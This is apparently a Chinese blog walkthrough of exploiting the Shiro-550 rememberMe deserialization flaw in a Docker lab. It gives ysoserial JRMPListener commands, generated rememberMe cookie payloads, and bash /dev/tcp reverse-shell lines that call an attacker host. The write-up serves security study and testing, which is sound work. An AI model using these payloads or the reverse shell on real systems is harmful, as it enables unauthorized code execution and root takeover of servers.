前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Shiro550-post型漏洞(验证+利用+反弹shell)

Shiro550-post型漏洞(验证+利用+反弹shell)

原创
作者头像
枪哥四海为家
修改2023-03-06 10:54:39
1.8K0
修改2023-03-06 10:54:39
举报

Shiro550作为2020年HW的经典漏洞,引无数英雄竞折腰

当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅

虽是两年前写的本地测试WP,漏洞依然经典,分享下


常见条件

一般shiro550的post隐患点在登录口,返回包存在rememberMe=deleteme;参数的,可以尝试测试shiro-550-post方式是否可以利用

获取环境

拉取镜像到本地

代码语言:javascript
复制
$ docker pull medicean/vulapps:s_shiro_1

启动环境

代码语言:javascript
复制
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

靶机:XXX.XXX.XXX.XXX:9956

攻击机:XXX.XXX.XXX.XXX:2345

工具:ShiroScan 

启动靶机

代码语言:javascript
复制
service docker start
代码语言:javascript
复制
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9956:8080 medicean/vulapps:s_shiro_1            // 9956代表靶机开放的服务端口

访问:XXX.XXX.XXX.XXX:9956      靶机生成成功

漏洞验证

代码语言:javascript
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master# python shiro_rce.py http://XXX.XXX.XXX.XXX/admin/login "ping XXX.ceye.io"

访问dnslog.cn

访问ceye平台,发现有dns记录,则说明命令执行成功,该点存在漏洞

正常命令执行结果

攻击机:上开启nc监听本地2345端口

代码语言:javascript
复制
nc -lvvp 2345

靶机:148.70.144.198:9956执行‘curl 132.232.75.164:2345’命令:

代码语言:javascript
复制
curl 132.232.75.164:2345

攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

漏洞利用

代码语言:javascript
复制
备注:几个坑点
(1)关于curl回显只能使用CommonsCollections4模块调用才能成功
(2)rememberMe值是会变化的,执行失败需要重新生成再替换注入

1.在攻击机上执行:(意思是将‘curl xxx.xxx.xxx.xxx:2345’命令对靶机9956端口发送请求,令靶机执行,开启针对靶机9956端口的监听)

代码语言:javascript
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'curl xxx.xxx.xxx.xxx:2345'

2.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript
复制
nc -lvvp 2345

3.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# python poc.py XXX.XXX.XXX.XXX:9956
rememberMe=3ISkYwsZQQOCX1ChLxTLmOknsb5kOolTjEJb05MTMkj1OMuXrDNICACVqE4xhL5eTtnl3wMWfMuWQQJ5TVzflEhCuKdGIv/6mGFi7shsfHD4JXcZVV4rptnYdZUmeHvX5UgyQiNULJjb+42E2kdhr9i1pbdMMhdVthO2pX2YznsMOknkndxOVdGUH+g/eS84uAbvQdf1zIaU/6S6JiEDRgR+UWm/h6Ap5lTQCGHXeiw+GIW3GrViipcVphFLudkT8bIc2S97rrcy4+ymW8puMKzNwmrLXxwnC4HVG4oiwTMRmGJCJMTa13nAGMYOkP3Jo3/b5t3NLoDO8rdCFC82JJxTk788lada6SObtcERLDILah7SfiE32AO4yGYte6pI+jwzlXTUL6i/5kKOCSsfwg==

4.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

5.查看远程监听的靶机9956端口的监听情况,发现有连接请求:

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令‘curl XXX.XXX.XXX.XXX’的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功

反弹shell(正常命令执行结果)

1.在攻击机上开启nc监听本地2345端口

代码语言:javascript
复制
nc -lvvp 2345

2.在靶机上执行命令,意思是将靶机shell反弹至攻击机上,命令执行成功:

代码语言:javascript
复制
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

3.在攻击机上查看nc回显,发现靶机命令执行成功,攻击机上回显了靶机命令操作后结果

反弹shell(从漏洞层利用)

在线bash加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

1.我们真正想在靶机上执行的命令:

代码语言:javascript
复制
bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2345 0>&1

2.在攻击机上执行:(意思是将‘bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2345 0>&1

’在靶机上执行,将shell反弹至攻击机xxx.xxx.xxx.xxx的2345端口,)CommonsCollections4和CommonsBeanutils1一样可以反弹shell:

代码语言:javascript
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule#
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9956 CommonsCollections4 'bash -c {echo,xxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}'

3.攻击机开启NC监听(执行payload后返回的命令回显于nc)

代码语言:javascript
复制
nc -lvvp 2345

4.在攻击机上执行 poc.py,意思是将本机IP伪造为目标机端口执行,注意IP是攻击机IP,端口是靶机端口:

代码语言:javascript
复制
root@VM-0-6-ubuntu:/home/ubuntu/ShiroScan-master/moule# 
python poc.py XXX.XXX.XXX.XXX:9956 rememberMe=JHKeKz9hRJ+oyUnsm4S4Ia+9ss1VDJQDN2RrnW/YAxroUmJ0j2wia4RPub4BbtphsjEV8TWK0ngzPqeKoYHbVU8yE5uPqE5ENjQtTHM6mDCb1p4JGjS0oFd8wekHcNhdEoU8jzO7SNpTQoUgE5R2AXyRNrlPTkf6yMtxuEZ6ewWpttWUuO4qxQpzmY72VYtijJIXNEAI8xB6tq8DIEIsNLm3VEBM8WTlOzEDBsVLSxwGu89AhWWnEqPXVwcViuFjYKo37+BTnN8E22a6scyYqS25pTxXwDCtiPBVHNoHavfSPRJJlAf67kw3CF25ETHrHnbO+PithkTYfji+g4+iLoZHoPFW6r4mWCWbRTAj9/JH+yGvgcvVYK+ziTRfofWF4hgzYImQDQgGP4S0isU02g==

5.接下来就是对登录口进行抓包,对rememberMe值进行添加替换,注意执行成功会有1秒左右卡顿返回包才返回,才说明你成功了。

6.查看nc监听的本地2345端口,发现我们对靶机XXX.XXX.XXX.XXX:9956执行的命令回显,已经在nc中建立接收到,说明远程命令执行已经成功。漏洞利用成功,拿下root权限shell

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 常见条件
  • 获取环境
    • 启动靶机
      • 正常命令执行结果
        • 漏洞利用
          • 反弹shell(正常命令执行结果)
            • 反弹shell(从漏洞层利用)
            相关产品与服务
            容器服务
            腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档